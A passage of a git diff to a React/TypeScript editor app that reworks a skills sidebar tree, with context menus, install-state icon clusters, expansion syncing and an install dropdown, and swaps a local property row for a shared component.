+ // Detected rows → the real harness path(s) it lives in, not "Global/name"
+ // (the meaningless tree path). Rendered at the ROW's scope so a project
+ // detection reads `.claude/skills/...`, not the user home `~/.`. A skill
+ // deduped across harnesses lists each.
+ if (d) {
+ const scope = labelToScope.get(node.scopeLabel) ?? 'global';
+ const paths = d.sourceHarnesses.map(
+ (h) => `${skillHostRootDir(h, scope)}/${node.skillDisplay}`,
+ );
+ return node.sub ? paths.map((p) => `${p}/${node.sub}`).join(', ') : paths.join(', ');
+ }
+ const skill = skillFor(node);
+ if (!skill) return null;
+ if (skill.managed) {
+ const base = skill.absolutePath ? tildeHomePath(skillDir(skill.absolutePath)) : null;
+ if (!base) return null;
+ return node.sub ? `${base}/${node.sub}` : base;
+ }
+ // EVERY path the skill occupies (canonical first, then per-host copies) —
+ // path-first disclosure so "where does this live / load from" needs no
+ // decoding of brand names. User symlinks are disclosed as links.
+ const labels = skillEntryDirs(skill).map((d) => {
+ const dir = node.sub ? `${d.dir}/${node.sub}` : d.dir;
+ return d.symlink ? t`${dir} (symlink)` : dir;
});
- }
- sortTree(root);
- return root;
-}
+ return labels.join(', ');
+ };
+ // Whether a row gets a context menu at all. Built-in (managed) skills are
+ // read-only — no mutate menu — and neither are their bundle files or nested
+ // folders. `renderContextMenu` returns null for exactly these; this predicate
+ // MUST mirror it (kept adjacent so they change together), and the hover `···`
+ // trigger is suppressed for rows where it is false (§2.1/§2.2).
+ const rowHasContextMenu = (node: TreeNode): boolean => {
+ const scope = labelToScope.get(node.scopeLabel);
+ if (!scope) return false;
+ if (node.skillDisplay === undefined) return true; // scope row → New / Upload / Explore
+ if (detectedFor(node)) return true; // detected → Edit
+ const skill = skillFor(node);
+ if (!skill) return false;
+ if (skill.managed) return false; // built-in = read-only (§2.1/§2.2)
+ return true; // skill row, SKILL.md, a bundle folder (New file), or a file
+ };
+ // Latest predicate for the shadow-root observer below, without re-subscribing
+ // the observer every render (its closure identity changes with `skills` /
+ // `detected`). Updated in an effect — never mutate a ref during render.
+ const rowHasContextMenuRef = useRef(rowHasContextMenu);
+ useEffect(() => {
+ rowHasContextMenuRef.current = rowHasContextMenu;
+ });
+ // Per-row install decoration for the imperative injector: an agent-icon cluster
+ // (installed → its editors; detected → its harnesses) or an Install pill
+ // (uninstalled). Built-ins return null (they keep the native lock decoration).
+ const poolKeyFor = (id: string): string =>
+ (INSTALL_EDITORS as readonly string[]).includes(id) ? id : 'generic';
+ const decorForPath = (treePath: string): RowInstallDecor => {
+ const node = parseTreePath(treePath);
+ if (node.skillDisplay === undefined || node.sub !== null) return null;
+ const d = detectedFor(node);
+ if (d) {
+ const scope = labelToScope.get(node.scopeLabel) ?? 'global';
+ return {
+ kind: 'icons',
+ poolKeys: d.sourceHarnesses.map(poolKeyFor),
+ title: t`Detected in ${d.sourceHarnesses.map((h) => skillHostRootDir(h, scope)).join(', ')}`,
+ };
+ }
+ const skill = skillFor(node);
+ if (!skill || skill.managed) return null;
+ // Editors first (brand icons), plus the `.agents` hub as a neutral mark —
+ // an in-place skill hosted only in `.agents` is loaded (by hub-reading
+ // harnesses), not uninstalled. Alias-covered VIEWERS (an editor whose
+ // skills folder is a symlink into a root holding this skill, e.g.
+ // `.codex/skills` → `.agents/skills`) ride the cluster too — they read
+ // the skill even though no location is theirs. `skillClusterHosts` IS the
+ // derivation the toolbar pill uses, so the two surfaces cannot disagree.
+ const hosts = skillClusterHosts(skill);
+ if (hosts.length > 0)
+ return {
+ kind: 'icons',
+ poolKeys: hosts.map(poolKeyFor),
+ title: t`Installed in ${hosts.map((h) => skillHostRootDir(h, skill.scope)).join(', ')}`,
+ };
+ return { kind: 'install', title: t`Install ${skill.name}` };
+ };
+ // Live inputs for the injection observer, which is set up once but must see the
+ // latest skills/theme/callbacks. Never mutate a ref during render.
+ const injectInputsRef = useRef({ decorForPath, skillFor, installLabel: t`Install` });
+ useEffect(() => {
+ injectInputsRef.current = { decorForPath, skillFor, installLabel: t`Install` };
+ });
+ // The tree does NOT remount when the active doc changes (remount key excludes
+ // `activePath` — see stateKey), so an inline `onSelectionChange` would close over a
+ // STALE `activePath` frozen at the tree's last mount and wrongly bail (or fail to
+ // bail) the "don't re-dispatch the already-active row" check. Keep the real handler
+ // in a ref reassigned every render (so it captures the LIVE `activePath` + open
+ // callbacks) and hand the tree a stable pass-through — the same pattern OkFileTree
+ // uses. Manual memo (useCallback) is banned, so the ref is how we stay current.
+ const handleSelectionChangeRef = useRef<(selected: readonly string[]) => void>(() => {});
-/** Folders first, then files; alphabetical within each. */
-function sortTree(nodes: FileNode[]): void {
- nodes.sort((a, b) => {
- const aFolder = a.children ? 0 : 1;
- const bFolder = b.children ? 0 : 1;
- if (aFolder !== bFolder) return aFolder - bFolder;
- return a.name.localeCompare(b.name);
+ const { model } = useFileTree({
+ ...buildOkFileTreeOptions({
+ paths,
+ initialExpansion: 'closed',
+ initialExpandedPaths,
+ initialSelectedPaths: activePath ? [activePath] : undefined,
+ stickyFolders: false,
+ enableContextMenu: true,
+ unsafeCSS: `${OK_FILE_TREE_READONLY_UNSAFE_CSS}\n${SKILLS_TREE_CSS}\n${SKILL_INSTALL_CLUSTER_CSS}`,
+ extraSpriteSymbols: SKILLS_DECORATION_EXTRA_SYMBOLS,
+ renderRowDecoration: ({ item }) => {
+ const node = parseTreePath(item.path);
+ // Only a skill folder row (has a display name, no sub) gets a decoration.
+ if (node.skillDisplay === undefined || node.sub !== null) return null;
+ const skill = skillFor(node);
+ // Built-in skills are locked (bundled, read-only) — a lock glyph says
+ // "can't edit" more clearly than a text badge, and drops the confusing
+ // "Managed" wording. This is the ONLY native Pierre decoration left; the
+ // install-state marks (agent-icon cluster for installed/detected, an
+ // Install pill for uninstalled) are injected imperatively via
+ // `applyInstallClusters` below, because a multi-icon cluster + button
+ // can't fit Pierre's one-text-or-one-icon decoration slot.
+ if (skill?.managed) {
+ return { icon: BUILTIN_LOCK_ICON_ID, title: t`Built-in (read-only)` };
+ }
+ const det = detectedFor(node);
+ if (det?.provenance.plugin !== undefined) {
+ return {
+ icon: PLUGIN_PACKAGE_ICON_ID,
+ title: t`Part of the ${det.provenance.plugin} plugin — read-only; open it to edit a copy`,
+ };
+ }
+ return null;
+ },
+ }),
+ // Direct on the useFileTree object (NOT inside buildOkFileTreeOptions) so the
+ // React Compiler doesn't flag the ref read as happening during render. Routing
+ // only; the highlight is reconciled by the selection-sync effect below.
+ onSelectionChange: (selected) => handleSelectionChangeRef.current(selected),
+ sort,
+ // Pierre collapses single-child folder CHAINS by default, so a scope with
+ // exactly one skill flattens `Project/` into that skill and the scope header
+ // vanishes — inconsistent by skill count (0 or 2+ show it, 1 hides it) and it
+ // drops the header's New/Add menu. The project always carries the built-in
+ // `open-knowledge` skill, so "no custom skills" IS the one-child case. Disable
+ // flattening so GLOBAL / PROJECT (and each skill folder) always render.
+ flattenEmptyDirectories: false,
});
- for (const node of nodes) if (node.children) sortTree(node.children);
-}
-function SkillFolderContents({ skill }: { skill: SkillsListEntry }) {
- const { t } = useLingui();
- const [files, setFiles] = useState<SkillBundledFile[] | null>(null);
- // True once a bundle-files fetch failed. Without a terminal state, a failed
- // fetch leaves `files === null` and the row shows "Loading" forever.
- const [loadFailed, setLoadFailed] = useState(false);
- const { openTarget } = useDocumentContext();
-
- // Open a project-skill content doc as a PERSISTENT tab. `append` (not
- // `replace-active`) so opening a second skill keeps the first open — skills are
- // worked on side-by-side, unlike the file tree's single preview tab. `openTarget`
- // still activates the newly-opened tab; `pushHashWithoutNavigation` records the
- // hash (bare `openDocument` bypasses the hash and a later nav effect steals focus).
- function openProjectDoc(docName: string) {
- openTarget({ kind: 'doc', target: docName, docName }, { tabBehavior: 'append' });
- pushHashWithoutNavigation(hashFromDocName(docName));
- }
+ // Reassigned every render so the pass-through handler above captures the LIVE
+ // `activePath` + open callbacks + `model` (declared just above). Manual memo is
+ // banned; the ref is how we stay current.
+ useEffect(() => {
+ handleSelectionChangeRef.current = (selected) => {
+ const p = selected[0];
+ if (!p || p === activePath) return;
+ const node = parseTreePath(p);
+ if (node.sub !== null && node.isDir) return;
+ const d = detectedFor(node);
+ if (d) {
+ // A detected skill row / SKILL.md / reference file opens the editable
+ // in-place buffer. The folder stays expanded via the selection-sync
+ // effect below (which re-expands on activePath change — the moment the
+ // async open lands, overriding Pierre's folder-click collapse).
+ onOpenDetected(d, node.sub ?? undefined);
+ return;
+ }
+ const skill = skillFor(node);
+ if (!skill) return;
+ if (node.sub === null || node.sub === SKILL_MD_PATH) {
+ // A built-in's SKILL.md opens the read-only preview; a managed skill's opens
+ // its editor. Reference files fall to openFile below.
+ (skill.managed ? onOpenManaged : onOpenSkillMd)(skill);
+ } else {
+ onOpenFile(skill, node.sub);
+ }
+ };
+ });
- // Open a skill file. A PROJECT skill's `.md`/`.mdx` reference is a real
- // content doc, so it opens EDITABLE in the normal editor (same as the file
- // tree above). Everything else — global-scope bundle files of any type, and
- // scripts of any scope — opens in a read-only viewer backed by the
- // scope-aware `/api/skill-file` read. The content-dir asset server can't see
- // a global skill (its files live under `~/.ok/skills/`, outside the project),
- // so routing those through the asset path 404'd; the skill-file target reads
- // the right store per scope.
- // Open ANY skill file (incl. `SKILL.md`) in the read-only bundle-file viewer.
- function openReadonlyFile(filePath: string) {
- const target = {
- kind: 'skill-file' as const,
- target: `${skill.scope}/${skill.name}/${filePath}`,
- scope: skill.scope,
- name: skill.name,
- path: filePath,
+ // Snapshot which folders the user has expanded into the parent-owned
+ // `expandedRef`, so the parent can restore expansion when this tree remounts
+ // on a rename / install-state change (§2.7/§2.8). Pierre fires no expand event,
+ // so read `isExpanded()` on every model change. Folder inputs go through a ref
+ // so the subscription re-runs only on `model` change, not every render.
+ const folderInputsRef = useRef({
+ labelToScope,
+ skillByPrefix,
+ detectedByPrefix,
+ onExpandedChange,
+ });
+ useEffect(() => {
+ folderInputsRef.current = { labelToScope, skillByPrefix, detectedByPrefix, onExpandedChange };
+ });
+ const lastSentRef = useRef<ReadonlySet<string>>(new Set());
+ useEffect(() => {
+ const sync = () => {
+ const inputs = folderInputsRef.current;
+ const next = new Set<string>();
+ const check = (folderPath: string) => {
+ if (asDirectoryHandle(model.getItem(folderPath))?.isExpanded()) next.add(folderPath);
+ };
+ for (const label of inputs.labelToScope.keys()) check(`${label}/`);
+ for (const prefix of inputs.skillByPrefix.keys()) check(`${prefix}/`);
+ for (const prefix of inputs.detectedByPrefix.keys()) check(`${prefix}/`);
+ // Only notify the parent when the expanded set actually changed — `subscribe`
+ // fires on every model mutation, and a redundant setState would re-render.
+ const prev = lastSentRef.current;
+ if (prev.size === next.size && [...next].every((p) => prev.has(p))) return;
+ lastSentRef.current = next;
+ inputs.onExpandedChange(next);
};
- openTarget(target, { tabBehavior: 'replace-active' });
- pushHashWithoutNavigation(
- hashFromSkillFile({ scope: skill.scope, name: skill.name, path: filePath }),
- );
- }
+ sync();
+ return model.subscribe(sync);
+ }, [model]);
- function openFile(filePath: string) {
- // A managed built-in skill (`open-knowledge`) has no editable content doc, so
- // every file, including `.md` references, opens read-only.
- if (skill.managed) {
- openReadonlyFile(filePath);
- return;
+ // Selection = the open doc. Pierre selects folders on click (and folder-click
+ // opens SKILL.md), so re-assert selection + focus onto the actual open row —
+ // this also gives it the blue selected+focused ring. `focusPath` is internal
+ // focus, not DOM focus, so it doesn't steal from the editor.
+ useEffect(() => {
+ if (!ready) return;
+ for (const p of model.getSelectedPaths()) {
+ if (p !== activePath) model.getItem(p)?.deselect();
}
- const dot = filePath.lastIndexOf('.');
- const ext = dot >= 0 ? filePath.slice(dot + 1).toLowerCase() : '';
- if (skill.scope === 'project' && (ext === 'md' || ext === 'mdx')) {
- openProjectDoc(projectSkillFilePath(skill.name, filePath.replace(/\.mdx?$/i, '')));
- return;
+ if (activePath) {
+ model.getItem(activePath)?.select();
+ model.focusPath(activePath);
+ // Keep the open skill's folder expanded. A detected-skill open is async
+ // (endpoint round-trip) and a folder-row click toggles the folder shut;
+ // this effect runs on activePath change (the moment the doc lands), so
+ // re-expanding here is what actually holds the folder open. Managed skills
+ // open synchronously — expanding their folder on open is harmless.
+ const node = parseTreePath(activePath);
+ if (node.skillDisplay !== undefined) {
+ asDirectoryHandle(model.getItem(`${node.scopeLabel}/${node.skillDisplay}/`))?.expand();
+ }
}
- openReadonlyFile(filePath);
- }
+ }, [ready, activePath, model]);
+ // Restore ALL expected-expanded folders after a (re)mount. The tree remounts on
+ // any `paths` change — notably a detected skill lazy-loading its reference files
+ // when opened — and Pierre's `initialExpandedPaths` does not reliably re-open
+ // folders other than the active row's ancestors, so previously-open sibling
+ // folders collapsed. Keyed on `[ready, model]` so it fires once per (re)mount,
+ // never on a plain click: it re-asserts the parent's expected set (which already
+ // reflects the user's latest expand/collapse via `userExpanded`), so it can't
+ // fight a live user collapse. Read via ref to avoid re-running on the array's
+ // per-render identity change.
+ const expandedPathsRef = useRef(initialExpandedPaths);
useEffect(() => {
- let active = true;
- const load = () => {
- void getSkillBundledFiles(skill.scope, skill.name).then((r) => {
- if (!active) return;
- if (r.ok) {
- setFiles(r.files);
- setLoadFailed(false);
- } else {
- // Terminal state on failure: clear the spinner (empty list) and flag
- // the error so the row doesn't hang on "Loading" indefinitely.
- setFiles([]);
- setLoadFailed(true);
- }
+ expandedPathsRef.current = initialExpandedPaths;
+ });
+ useEffect(() => {
+ if (!ready) return;
+ for (const p of expandedPathsRef.current) {
+ asDirectoryHandle(model.getItem(p))?.expand();
+ }
+ }, [ready, model]);
+
+ // Suppress Pierre's floating `···` context-menu trigger for rows with no menu
+ // (built-in skills + their files) — otherwise it shows a button that does
+ // nothing (§2.1/§2.2). Pierre renders ONE floating anchor over the hovered
+ // row; watch the hover marker and toggle the anchor's visibility. Same
+ // shadow-root + signal as OkFileTree's title-stamp observer.
+ useEffect(() => {
+ if (!ready) return;
+ const shadow = hostRef.current?.querySelector(FILE_TREE_TAG_NAME)?.shadowRoot;
+ if (!shadow) return;
+ const sync = () => {
+ const anchor = shadow.querySelector<HTMLElement>('[data-type="context-menu-anchor"]');
+ if (!anchor) return;
+ const hoveredPath = shadow.querySelector<HTMLElement>(
+ '[data-item-context-hover="true"][data-item-path]',
+ )?.dataset.itemPath;
+ const suppress =
+ hoveredPath !== undefined && !rowHasContextMenuRef.current(parseTreePath(hoveredPath));
+ anchor.style.display = suppress ? 'none' : '';
+ };
+ sync();
+ const observer = new MutationObserver(sync);
+ observer.observe(shadow, {
+ subtree: true,
+ childList: true,
+ attributes: true,
+ attributeFilter: ['data-item-context-hover'],
+ });
+ return () => observer.disconnect();
+ }, [ready]);
+
+ // Inject the install-state marks (agent-icon cluster / Install pill) into each
+ // skill row's decoration lane. A cluster + button can't fit Pierre's
+ // one-text-or-one-icon decoration slot, so it's hand-built here (same shadow
+ // observer pattern as the title stamp), cloning brand `<svg>`s from the hidden
+ // pool. The Install pill opens the skill so its toolbar install menu (the full
+ // per-agent picker) appears. `resolvedTheme` is a dep so the pool's re-colored
+ // icons re-clone on a light/dark flip. `installSignal` is an intentional re-run
+ // trigger — the effect reads live data through refs, so a host-set change isn't
+ // visible in the body, but we must re-inject when it changes.
+ // biome-ignore lint/correctness/useExhaustiveDependencies: installSignal is an intentional re-inject trigger (see comment above).
+ useEffect(() => {
+ if (!ready) return;
+ const shadow = hostRef.current?.querySelector(FILE_TREE_TAG_NAME)?.shadowRoot;
+ if (!shadow) return;
+ const run = () =>
+ applyInstallClusters(shadow, {
+ decorFor: (p) => injectInputsRef.current.decorForPath(p),
+ iconPool: iconPoolRef.current,
+ installLabel: injectInputsRef.current.installLabel,
+ version: resolvedTheme ?? 'light',
});
+ run();
+ const observer = new MutationObserver(run);
+ observer.observe(shadow, {
+ subtree: true,
+ childList: true,
+ attributes: true,
+ attributeFilter: ['data-item-path'],
+ });
+ // Capture phase so the pill opens the menu before Pierre's row selection.
+ const onClick = (e: Event) => {
+ const pill = installPillFromEvent(e.target);
+ if (!pill) return;
+ e.preventDefault();
+ e.stopPropagation();
+ const skill = injectInputsRef.current.skillFor(parseTreePath(pill.path));
+ if (skill) setInstallMenu({ skill, x: pill.rect.left, y: pill.rect.bottom });
};
- load();
- const unsub = subscribeToSkillsChanged(load);
+ shadow.addEventListener('click', onClick, true);
+ // No cluster-specific hint. The row already carries a native tooltip naming
+ // every path the skill occupies — strictly more than the cluster's roots —
+ // so a second, differently-styled bubble alongside it read as a glitch, and
+ // every other row in this tree explains itself through the native one.
+ // The cluster carries `role="img"` + `aria-label`, so screen readers get the
+ // install state as a name (an `aria-label` alone on a span would not).
return () => {
- active = false;
- unsub();
+ observer.disconnect();
+ shadow.removeEventListener('click', onClick, true);
};
- }, [skill.scope, skill.name]);
-
- const tree = files ? buildFileTree(files) : [];
+ }, [ready, resolvedTheme, installSignal]);
return (
- <SidebarMenuSub className="mr-0 pr-0">
- {/* SKILL.md: project skills open the content doc (editable in the normal
- editor); global skills open via the dedicated managed-artifact route. */}
- <SidebarMenuSubItem>
- <SidebarMenuSubButton
- size="sm"
- onClick={() =>
- skill.managed
- ? openReadonlyFile('SKILL.md')
- : skill.scope === 'project'
- ? openProjectDoc(projectSkillContentDocName(skill.name))
- : openManagedArtifactTab(skillLiveDocName(skill.scope, skill.name))
- }
- className="text-[11px]"
- >
- <FileText className="size-3 shrink-0 text-muted-foreground" />
- <span className="truncate">SKILL.md</span>
- </SidebarMenuSubButton>
- </SidebarMenuSubItem>
- {files === null ? (
- <SidebarMenuSubItem>
- <span className="px-2 py-0.5 text-[11px] text-muted-foreground/70">
- <Trans>Loading</Trans>
- </span>
- </SidebarMenuSubItem>
- ) : loadFailed ? (
- <SidebarMenuSubItem>
- <span
- className="px-2 py-0.5 text-[11px] text-muted-foreground/70"
- title={t`Couldn't load this skill's files.`}
- >
- <Trans>Couldn't load files</Trans>
+ <>
+ {/* Hidden light-DOM pool: React renders the brand icons (real brand colors +
+ theme via TargetIcon), the shadow-DOM injector clones them into rows
+ where Tailwind/shadcn can't reach. `generic` covers the agent-agnostic
+ `~/.agents` dir and any harness without a brand mark. */}
+ <div
+ ref={iconPoolRef}
+ aria-hidden
+ style={{ position: 'absolute', width: 0, height: 0, overflow: 'hidden' }}
+ >
+ {INSTALL_EDITORS.map((id) => (
+ <span key={id} {...{ [HOST_POOL_KEY_ATTR]: id }}>
+ <AgentBrandIcon host={id} />
</span>
- </SidebarMenuSubItem>
- ) : (
- tree.map((node) => (
- <FileTreeNode key={node.path} node={node} depth={0} onOpenFile={openFile} />
- ))
- )}
- </SidebarMenuSub>
+ ))}
+ <span {...{ [HOST_POOL_KEY_ATTR]: 'generic' }}>
+ <Sparkles />
+ </span>
+ </div>
+ {/* The Install pill's per-agent menu — a real Radix menu in the light DOM,
+ anchored via a zero-size fixed trigger at the clicked pill's rect. */}
+ {installMenu ? (
+ <DropdownMenu
+ open
+ onOpenChange={(open) => {
+ if (!open) setInstallMenu(null);
+ }}
+ >
+ <DropdownMenuTrigger asChild>
+ <span
+ aria-hidden
+ style={{
+ position: 'fixed',
+ left: installMenu.x,
+ top: installMenu.y,
+ width: 0,
+ height: 0,
+ }}
+ />
+ </DropdownMenuTrigger>
+ <DropdownMenuContent align="start" className={SKILL_INSTALL_MENU_WIDTH}>
+ <SkillInstallMenuBody
+ skill={installMenu.skill}
+ actions={actions}
+ onRunStart={() => setInstallMenu(null)}
+ />
+ </DropdownMenuContent>
+ </DropdownMenu>
+ ) : null}
+ <OkFileTree
+ model={model}
+ hostRef={hostRef}
+ ready={ready}
+ className="min-h-0"
+ style={createFileTreeStyle(resolvedTheme)}
+ sizeToContent
+ titleForPath={titleForPath}
+ renderContextMenu={(item, context) => {
+ const node = parseTreePath(item.path);
+ if (!rowHasContextMenu(node)) return null;
+ const scope = labelToScope.get(node.scopeLabel);
+ if (!scope) return null;
+ let menuItems: ReactNode;
+ if (node.skillDisplay === undefined) {
+ // Scope row → scope description + New skill (creates a blank directly) /
+ // Upload / Explore (each opens the add-skill modal on its tab).
+ menuItems = (
+ <>
+ <DropdownMenuLabel className="max-w-56 whitespace-normal font-normal text-muted-foreground text-xs">
+ {scopeDescription[scope]}
+ </DropdownMenuLabel>
+ <DropdownMenuSeparator />
+ <DropdownMenuItem onSelect={() => onNewSkill(scope)}>
+ <SquarePen aria-hidden />
+ <Trans>New skill</Trans>
+ </DropdownMenuItem>
+ <DropdownMenuItem onSelect={() => onAddSkill(scope, 'upload')}>
+ <Upload aria-hidden />
+ <Trans>Upload skill</Trans>
+ </DropdownMenuItem>
+ <DropdownMenuItem onSelect={() => onAddSkill(scope, 'skills-sh')}>
+ <Compass aria-hidden />
+ <Trans>Explore skills</Trans>
+ </DropdownMenuItem>
+ </>
+ );
+ } else {
+ const d = detectedFor(node);
+ if (d) {
+ // Detected skill row → open the editable in-place buffer (same as
+ // clicking the row). No manage flow.
+ menuItems = (
+ <DropdownMenuItem onSelect={() => onOpenDetected(d)}>
+ <SquarePen aria-hidden />
+ <Trans>Edit</Trans>
+ </DropdownMenuItem>
+ );
+ } else {
+ const skill = skillFor(node);
+ if (!skill) return null;
+ if (skill.managed) return null; // managed built-in = read-only, no mutate menu
+ if (node.sub === null || node.sub === SKILL_MD_PATH) {
+ menuItems = (
+ <SkillContextMenuItems
+ skill={skill}
+ actions={actions}
+ existingNames={existingNames[skill.scope]}
+ />
+ );
+ } else if (node.isDir) {
+ // Every bundle dir offers New file seeded with its own path.
+ // `node.sub` is non-null here (the null case is handled above).
+ menuItems = (
+ <DropdownMenuItem
+ onSelect={() => actions.requestFileCreate(skill, `${node.sub}/`)}
+ >
+ <Trans>New file</Trans>
+ </DropdownMenuItem>
+ );
+ } else {
+ menuItems = (
+ <SkillFileContextMenuItems skill={skill} filePath={node.sub} actions={actions} />
+ );
+ }
+ }
+ }
+ return (
+ <DropdownMenu
+ open
+ modal={false}
+ onOpenChange={(open) => {
+ if (!open) context.close({ restoreFocus: false });
+ }}
+ >
+ <DropdownMenuTrigger asChild>
+ <span
+ aria-hidden="true"
+ data-file-tree-context-menu-root="true"
+ className="block size-px"
+ />
+ </DropdownMenuTrigger>
+ <DropdownMenuContent
+ sideOffset={0}
+ align="start"
+ data-file-tree-context-menu-root="true"
+ className="min-w-52"
+ >
+ {menuItems}
+ </DropdownMenuContent>
+ </DropdownMenu>
+ );
+ }}
+ />
+ </>
);
}
-function FileTreeNode({
- node,
- depth,
- onOpenFile,
+/**
+ * Install-menu body for the sidebar Install pill — resolves one skill's per-agent
+ * toggle state and renders the SHARED menu items (the exact menu the editor
+ * toolbar badge shows). Split into its own component because `useSkillHostToggles`
+ * is a hook that must mount only while a skill is selected.
+ */
+function SkillInstallMenuBody({
+ skill,
+ actions,
+ onRunStart,
}: {
- node: FileNode;
- depth: number;
- onOpenFile: (filePath: string) => void;
+ skill: SkillsListEntry;
+ actions: SkillActions;
+ /** Close the popover before a multi-location run starts: the rows are read
+ * from a disk scan that refetches mid-run, so leaving it open shows them flip
+ * and then settle, which reads as breakage. */
+ onRunStart: () => void;
}) {
- const [open, setOpen] = useState(false);
- const indent = { paddingLeft: `${depth * 0.6}rem` } as const;
-
- if (node.children) {
- return (
- <Collapsible open={open} onOpenChange={setOpen} className="group/dir">
- <SidebarMenuSubItem>
- <CollapsibleTrigger asChild>
- <SidebarMenuSubButton size="sm" className="text-[11px]" style={indent}>
- <ChevronRight className="size-3 shrink-0 text-muted-foreground transition-transform group-data-[state=open]/dir:rotate-90" />
- <span className="truncate">{node.name}/</span>
- </SidebarMenuSubButton>
- </CollapsibleTrigger>
- <CollapsibleContent>
- {node.children.map((child) => (
- <FileTreeNode
- key={child.path}
- node={child}
- depth={depth + 1}
- onOpenFile={onOpenFile}
- />
- ))}
- </CollapsibleContent>
- </SidebarMenuSubItem>
- </Collapsible>
- );
- }
-
- // Leaf file: opens read-only in the editor area (like clicking a file in the
- // file tree above) — no cramped inline preview.
+ const toggles = useSkillHostToggles(skill, actions);
return (
- <SidebarMenuSubItem>
- <SidebarMenuSubButton
- size="sm"
- className="text-[11px]"
- style={indent}
- data-testid={`skill-file-${node.path}`}
- onClick={() => onOpenFile(node.path)}
- >
- <FileCode className="size-3 shrink-0 text-muted-foreground" />
- <span className="truncate">{node.name}</span>
- </SidebarMenuSubButton>
- </SidebarMenuSubItem>
+ <SkillInstallMenuItems
+ toggles={toggles}
+ skill={skill}
+ onResolveFork={(editor) => actions.requestForkResolve(skill, editor)}
+ onRunStart={onRunStart}
+ />
);
}
@@ -609,69 +1454,3 @@ function SkillsShareLocalOnlyPrompt({ hasProjectSkills }: { hasProjectSkills: bo
</div>
);
}
-
-/**
- * One-time import offer: when this project is undecided about skill management
- * AND there are editor-dir skills OK could adopt, ask once. "Import" flips the
- * project to OK-managed (server adopts them into `.ok/skills` + symlinks);
- * "Not now" records the decline. Either way the choice persists per-machine, so
- * the banner does not return. Skills already under `.ok/skills` are managed
- * regardless and are not what this offers.
- */
-function SkillImportPrompt() {
- const [state, setState] = useState<{ managed: boolean | null; importable: number } | null>(null);
- const [busy, setBusy] = useState(false);
-
- useEffect(() => {
- let cancelled = false;
- getSkillsManagement().then((s) => {
- if (!cancelled) setState(s);
- });
- return () => {
- cancelled = true;
- };
- }, []);
-
- // Show only while undecided (managed === null) with something to import.
- if (!state || state.managed !== null || state.importable === 0) return null;
-
- const decide = async (manage: boolean) => {
- setBusy(true);
- const ok = await setSkillsManagement(manage);
- if (!ok) {
- // PUT failed — the server never persisted the choice. Re-enable the
- // buttons and leave the banner up so the user can retry, instead of
- // dismissing it as a silent (false) success.
- setBusy(false);
- return;
- }
- setState({ managed: manage, importable: 0 });
- };
-
- return (
- <div className="mx-2 mb-1 rounded-md border border-border/60 bg-muted/40 p-2 text-xs">
- <p className="mb-2 text-muted-foreground">
- <Trans>
- Open Knowledge can manage {state.importable} editor skill(s) for this project. Import
- moves them into .ok/skills and replaces the .claude, .codex, etc. copies with symlinks —
- one place to edit, in sync everywhere. If those folders are committed to git, review the
- change first; symlinks can behave differently on some editors and on Windows.
- </Trans>
- </p>
- <div className="flex gap-1.5">
- <Button size="sm" className="h-6 px-2 text-xs" disabled={busy} onClick={() => decide(true)}>
- <Trans>Import</Trans>
- </Button>
- <Button
- size="sm"
- variant="ghost"
- className="h-6 px-2 text-xs"
- disabled={busy}
- onClick={() => decide(false)}
- >
- <Trans>Not now</Trans>
- </Button>
- </div>
- </div>
- );
-}
diff --git a/packages/app/src/components/TemplateProperties.tsx b/packages/app/src/components/TemplateProperties.tsx
index 93f817e7b..cd1aa32b4 100644
--- a/packages/app/src/components/TemplateProperties.tsx
+++ b/packages/app/src/components/TemplateProperties.tsx
@@ -2,8 +2,9 @@ import type { HocuspocusProvider } from '@hocuspocus/provider';
import { TEMPLATE_NAME_REGEX } from '@inkeep/open-knowledge-core';
import { Trans, useLingui } from '@lingui/react/macro';
import { FolderGit2, Type } from 'lucide-react';
-import { type ReactNode, useEffect, useId, useState } from 'react';
+import { useEffect, useId, useState } from 'react';
import { PropertyDisclosure } from '@/components/PropertyDisclosure';
+import { PropertyDisplayRow } from '@/components/PropertyDisplayRow';
import { Input } from '@/components/ui/input';
import { Textarea } from '@/components/ui/textarea';
import { useFrontmatterField } from '@/lib/use-frontmatter-field';
@@ -54,15 +55,19 @@ export function TemplateProperties({
return (
<PropertyDisclosure title={<Trans>Properties</Trans>} className="pt-4 pb-2">
- <PropertyRow icon={<FolderGit2 className="size-3.5" />} label={t`folder`} htmlFor={folderId}>
+ <PropertyDisplayRow
+ icon={<FolderGit2 className="size-3.5" />}
+ label={t`folder`}
+ htmlFor={folderId}
+ >
<Input
id={folderId}
value={folder || '/'}
readOnly
className="h-8 border-input bg-transparent px-2 font-mono text-muted-foreground shadow-none"
/>
- </PropertyRow>
- <PropertyRow icon={<Type className="size-3.5" />} label={t`name`} htmlFor={nameId}>
+ </PropertyDisplayRow>
+ <PropertyDisplayRow icon={<Type className="size-3.5" />} label={t`name`} htmlFor={nameId}>
<Input
id={nameId}
data-testid="template-name-input"
@@ -91,8 +96,8 @@ export function TemplateProperties({
<Trans>The template's filename (without `.md`).</Trans>
</p>
)}
- </PropertyRow>
- <PropertyRow icon={<Type className="size-3.5" />} label={t`title`} htmlFor={titleId}>
+ </PropertyDisplayRow>
+ <PropertyDisplayRow icon={<Type className="size-3.5" />} label={t`title`} htmlFor={titleId}>
<Input
id={titleId}
data-testid="template-title-input"
@@ -105,8 +110,8 @@ export function TemplateProperties({
<p className="px-1 pt-0.5 text-[11px] text-muted-foreground">
<Trans>The menu label agents pick this template by (required).</Trans>
</p>
- </PropertyRow>
- <PropertyRow
+ </PropertyDisplayRow>
+ <PropertyDisplayRow
icon={<Type className="size-3.5" />}
label={t`description`}
htmlFor={descriptionId}
@@ -123,30 +128,7 @@ export function TemplateProperties({
<p className="px-1 pt-0.5 text-[11px] text-muted-foreground">
<Trans>Disambiguates similarly-named templates in the menu.</Trans>
</p>
- </PropertyRow>
+ </PropertyDisplayRow>
</PropertyDisclosure>
);
}
-
-/** One property row: type icon + fixed-width label column + inline value. */
-function PropertyRow({
- icon,
- label,
- htmlFor,
- children,
-}: {
- icon: ReactNode;
- label: string;
- htmlFor: string;
- children: ReactNode;
-}) {
- return (
- <div className="flex items-start gap-1 py-0.5">
- <label htmlFor={htmlFor} className="flex w-32 shrink-0 items-center gap-1 pt-1.5">
- <span className="text-muted-foreground">{icon}</span>
- <span className="truncate text-muted-foreground">{label}</span>
- </label>
- <div className="min-w-0 flex-1">{children}</div>
- </div>
- );
-}
diff --git a/packages/app/src/components/TerminalPanel.launch.dom.test.tsx b/packages/app/src/components/TerminalPanel.launch.dom.test.tsx
index 551c9836d..4075897b4 100644
